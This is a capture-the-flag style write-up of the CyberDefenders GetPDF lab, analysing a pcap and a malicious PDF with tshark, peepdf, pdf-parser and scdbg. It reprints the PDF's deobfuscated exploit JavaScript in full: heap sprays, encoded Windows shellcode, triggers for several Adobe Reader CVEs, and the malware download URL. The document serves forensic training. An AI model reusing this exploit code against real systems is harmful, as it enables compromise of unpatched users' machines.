GetPDF Writeup - CyberDefenders

Naimul IslamNaimul Islam
8 min read

PDF format is the de-facto standard in exchanging documents online. Such popularity, however, has also attracted cyber criminals in spreading malware to unsuspecting users. The ability to generate malicious pdf files to distribute malware is a functionality that has been built into many exploit kits. As users are less cautious about opening PDF files, the malicious PDF file has become quite a successful attack vector.
The network traffic is captured in lala.pcap contains network traffic related to a typical malicious PDF file attack, in which an unsuspecting user opens a compromised web page, which redirects the user’s web browser to a URL of a malicious PDF file. As the PDF plug-in of the browser opens the PDF, the unpatched version of Adobe Acrobat Reader is exploited and, as a result, downloads and silently installs malware on the user’s machine.

As a soc analyst, analyze the PDF and answer the questions.

1. How many URL path(s) are involved in this incident?

tshark -r lala.pcap -Y http.request -T fields -e http.request.full_uri | sort -u | wc -l  
6

2. What is the URL which contains the JS code?

In tcp stream 0 I found <script> tag that contains JS.

http://blog.honeynet.org.my/forensic_challenge/

3. What is the URL hidden in the JS code?

As GaDemee is eval so we will change it to colsole.log to print the payload.

4. What is the MD5 hash of the PDF file contained in the packet?

Export the 'fcexploit.pdf' from 'file > export object > http' as this is only file which have content type as pdf.

md5sum fcexploit.pdf  
659cf4c6baa87b082227540047538c2a  fcexploit.pdf

5. How many object(s) are contained inside the PDF file?

> pdfid.py fcexploit.pdf

PDFiD 0.2.8 fcexploit.pdf  
PDF Header: %PDF-1.3  
obj                   19  
endobj                18  
stream                 5  
endstream              5  
xref                   1  
trailer                1  
startxref              1  
/Page                  2  
/Encrypt               0  
/ObjStm                0  
/JS                    1  
/JavaScript            1  
/AA                    0  
/OpenAction            1  
/AcroForm              1  
/JBIG2Decode           0  
/RichMedia             0  
/Launch                0  
/EmbeddedFile          1  
/XFA                   1  
/URI                   0  
/Colors > 2^24         0

6. How many filtering schemes are used for the object streams?

> pdf-parser.py -s filter fcexploit.pdf    

obj 5 0  
Type:    
Referencing:    
Contains stream  

 <<  
   /Length 395  
   /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ]  
 >
[...]

7. What is the number of the 'object stream' that might contain malicious JS code?

Using peepdf I found object 4 contains JS, Javascript string and object 5 contains Javascript code. Going to object 4 it points to object 5, which contains javascript code.

> peepdf -i -f fcexploit.pdf  

File: fcexploit.pdf  
MD5: 659cf4c6baa87b082227540047538c2a  
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9  
SHA256: ba3c7c763f7910ef956e27be054e9271b00d05aab9fb153cdf30001ce422d68a  
Size: 25169 bytes  
Version: 1.3  
Binary: True  
Linearized: False  
Encrypted: False  
Updates: 0  
Objects: 18  
Streams: 5  
URIs: 0  
Comments: 0  
Errors: 2  

Version 0:  
       Catalog: 27  
       Info: 11  
       Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]  
               Errors (1): [11]  
       Streams (5): [5, 7, 9, 10, 11]  
               Encoded (4): [5, 7, 9, 10]  
       Objects with JS code (1): [5]  
       Suspicious elements:  
               /AcroForm (1): [27]  
               /OpenAction (1): [1]  
               /XFA (1): [28]  
               /JS (1): [4]  
               /JavaScript (1): [4]  
               getAnnots (CVE-2009-1492) (1): [5]  



PPDF> object 4  

<< /Type /Action  
/S /JavaScript  
/JS 5 0 R >>  

PPDF> object 5  

<< /Length 395  
/Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] >>  
stream  

var SSS=null;var SS="ev";var $S="";$5="in";app.doc.syncAnnotScan();S$="ti";if(app.plugIns.length!=0){var $$=0;S$+="tl";$5+="fo";____SSS=app.doc.getAnnots({nPage:0});S$+="e  
";$S=this.info.title;}var S5="";if(app.plugIns.length>3){SS+="a";var arr=$S.split(/U_155bf62c9aU_7917ab39/);for(var $=1;$<arr.length;$++){S5+=String.fromCharCode("0x"+arr[  
$]);}SS+="l";}if(app.plugIns.length>=2){app[SS](S5);}  

endstream

8. Analyzing the PDF file. What 'object-streams' contain the JS code responsible for executing the shellcodes? The JS code is divided into two streams. Format: two numbers separated with ','. Put the numbers in ascending order

From peepdf we find object 5, 7, 9, 10, 11 has stream of content.

[...]
Streams (5): [5, 7, 9, 10, 11]
[...]

So to see the streams I opened the pdf in 'pdf stream dumper' tool. The tools shows all the stream objects in blue color. Object 5 has javascript code. So I open javascript UI to run the code.

It will emulate the pdf reader environment and give us the code.

After analyzing the the code i found that the JS code is taking the content of object 7 and 9.

___SS=1;
dump_9=____SSS[____SS].subject;
____$S=0;
res=dump_9.replace(/X_17844743X_170987743/g,"%");
dump_7=____SSS[____$S].subject;
res+=dump_7.replace(/89af50d/g,"%");
res=res.replace(/\n/,"");
res=res.replace(/\r/,"");
____S$=unescape(res);
app.eval(____S$);

So after doing the replace operation in a text editor I dumped the text in cyberchef and used this recipe to get the following JS code.

var c = app;

function s(yarsp, len) {
        while (yarsp.length * 2 < len) {
              yarsp += yarsp;
              this.x = false;
        }          
        var eI = 37715;
        yarsp = yarsp.substring(0, len / 2);
        return yarsp;
        var yE = 18340;
}
var m = new String("");

function cG() {
                  var chunk_size, payload, nopsled;

                  chunk_size = 0x8000;
                  // calc.exe payload
                  payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90");
                  nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
                  while (nopsled.length < chunk_size)
              nopsled += nopsled;
                  nopsled_len = chunk_size - (payload.length + 20);  
                  nopsled = nopsled.substring(0, nopsled_len);
                  heap_chunks = new Array();
                  for (var i = 0 ; i < 2500 ; i++)
              heap_chunks[i] = nopsled + payload;


                  util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
                  try {
              media.newPlayer(null);
                  } catch(e) {}
                  util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

function cN() {
        var o = "o";
              // freecell.exe payload
        var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d");
              this.dN = "";
        var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
        var hW = new String();
        var heapblock = nop + payload;
        this.qA = "qA";
        var bigblock = unescape("%u0A0A%u0A0A");
        this.alphaY = 12267;
        var headersize = 20;
        var spray = headersize + heapblock.length;
        var jZ = '';
        var jY = "";
        while (bigblock.length < spray) {
              this.r = "r";
              bigblock += bigblock; 
              var edit = "edit";
        }
        this.xGoogle = '';
        this.vY = false;
        var fillblock = bigblock.substring(0, spray);
        var iP = function() {};
        var block = bigblock.substring(0, bigblock.length - spray);
        var googleD = false;
        this.fUEdit = "";
        while (block.length + spray < 0x40000) {
              block = block + block + fillblock;
              this.bJ = '';
        }
        var googleQ = '';
        this.nW = '';
        var mem_array = new Array();  
        var cH = new String();
        var nVO = new String("");
        for (var i = 0; i < 1400; i++) {
              mem_array[i] = block + heapblock;
              var sQ = new String("");
        }
        var wC = '';
        var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
        this.bC = 3699;
        util.printf("%45000f", num);  
}
var eQ = "";

function gX() {
        var basicZ = '';
              // notepad.exe payload
        var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae");
              var mem_array = new Array();        
        this.googleBasicR = "";
        var cc = 0x0c0c0c0c;
        var addr = 0x400000;
        var sc_len = shellcode.length * 2;
        var len = addr - (sc_len + 0x38);
        var yarsp = unescape("%u9090%u9090");
        this.eS = "eS";
        yarsp = s(yarsp, len);
        var count2 = (cc - 0x400000) / addr;
        this.rF = false;
        this.p = "p";
        for (var count = 0; count < count2; count++) {
              mem_array[count] = yarsp + shellcode;
        }
        var bUpdate = new String(""); 
        var overflow = unescape("%u0c0c%u0c0c");
        var cP = function() {};
        this.gD = "";
        while (overflow.length < 44952) {
              this.tO = "";
              overflow += overflow; 
        }
        var adobeD = new String();
        this.collabStore = Collab.collectEmailInfo({
              subj: "",
              msg: overflow
        });
}
function updateE() {
        var xI = new String("");
        if (c.doc.Collab.getIcon) {    
              var arry = new Array();
                    // cmd.exe payload
              var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a");
                    var updateX = 39796;    
              var hWq500CN = vvpethya.length * 2;
              var len = 0x400000 - (hWq500CN + 0x38);
              var zAdobe = "";
              var yarsp = unescape("%u9090%u9090");
              var dU = "";
              yarsp = s(yarsp, len);
              this.zAdobeK = "";
              var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
              var aG = new Date();        
              for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
                  var lBasic = "";
                  arry[vqcQD96y] = yarsp + vvpethya;
                  var u = "";        
              }
              var iAlpha = function() {};
              var tUMhNbGw = unescape("%09");
              while (tUMhNbGw.length < 0x4000) {
                  this.gN = false;
                  tUMhNbGw += tUMhNbGw;
              }
              var hV = new String("");
              var nVE = function() {};
              tUMhNbGw = "N." + tUMhNbGw;
              c.doc.Collab.getIcon(tUMhNbGw);
        }
        this.wZ = 44811;
}
var hO = new String("");

function nO() {
        this.iR = false;
        var version = c.viewerVersion.toString();
        var zH = '';
        version = version.replace(/D/g, '');
        var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
        if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 && varsion_array[2] < 3)) {
              cN();
        }
        this.wN = "";
        var aQ = new String("");
        if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)) {
              gX();
        }
        var vEdit = "";
        if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)) {
              updateE();
        }
        var eH = function() {};
        var eSJ = new Function();
        cG();
        var vUpdate = false;
}
var basicU = new Date();
this.updateO = false;
nO();
var mUpdate = function() {};

9. The JS code responsible for executing the exploit contains shellcodes that drop malicious executable files. What is the full path of malicious executable files after being dropped by the malware on the victim machine?

After analyzing the above code I found the the code is calling nO() function. And based on adobe acrobat readers version cN(), gX() and updateE() is called. Each of the 3 function has different shellcode. So I copy the shellcode modified it using this recipe. Then emulate it using scdbg.

Then I did the for all shell code. Every shellcode gave me different URL. But none of the was correct answer. Then I used the one what i got from the pcap.

http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe

11. How many CVEs are included in the PDF file?

Running every function separately on 'pdf stream dumper' javascript emulator I get 4 CVE. And found another one from virustotal.

cN(); util.printf() called - CVE-2008-2992 gX(); collab.collectEmailInfo() called - CVE-2007-5659 updateE(); collab.getIcon() called - CVE-2009-0927 nO(); media.newPlayer called - CVE-2009-4324 detected by virus total CVE-2010-0188

0
Subscribe to my newsletter

Read articles from Naimul Islam directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Naimul Islam
Naimul Islam